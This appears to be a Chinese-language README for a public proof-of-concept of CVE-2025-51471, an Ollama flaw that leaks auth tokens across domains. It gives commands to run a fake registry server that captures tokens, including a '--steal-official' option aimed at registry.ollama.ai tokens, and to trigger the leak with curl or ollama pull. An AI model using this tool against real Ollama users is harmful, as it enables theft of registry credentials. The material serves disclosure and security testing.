作者: ajtazer
此仓库包含 CVE-2025-51471 的概念验证(PoC),这是一个影响 所有 Ollama 版本(包括最新版本)的跨域认证令牌泄露漏洞。
当 Ollama 从返回 401 Unauthorized 的 HTTPS 服务器拉取模型时,它会跟随 WWW-Authenticate 头中的 realm URL,而 不验证其是否属于同一域[...]
这允许攻击者:
WWW-Authenticate 头的 401 响应registry.ollama.ai 上pip install flask)git clone https://github.com/ajtazer/CVE-2025-51471-PoC.git
cd CVE-2025-51471-PoC
pip install flask
python3 malicious_registry.py --no-ssl
ollama serve
# 使用 curl API
curl http://localhost:11434/api/pull -d '{"model": "localhost:8080/malicious/model", "insecure": true}'
# 或者使用 ollama CLI
ollama pull --insecure localhost:8080/malicious/model
我在一个短视频中演示了这个 PoC——在这里观看:
注意(macOS HTTPS 模式): 如果使用 HTTPS 模式,请将生成的证书添加到您的钥匙串中,或者使用
--no-ssl的 HTTP 模式。
python3 malicious_registry.py [-h] [--port PORT] [--no-ssl] [--steal-official]
选项:
--port, -p PORT 监听端口(默认:8080)
--no-ssl 使用 HTTP 而非 HTTPS
--steal-official, -s 重定向以窃取 registry.ollama.ai 令牌
--no-verbose 禁用详细输出
| 端点 | 描述 |
|---|---|
/v2/* | 伪造注册表端点(触发漏洞利用) |
/v2/token | 令牌捕获端点 |
/tokens | 查看所有捕获的令牌(JSON) |
/health | 服务器健康检查 |
此 PoC 仅供 教育和授权的安全测试目的使用。请勿用于您不拥有的系统。
用 ❤️ 和 Antigravity 制作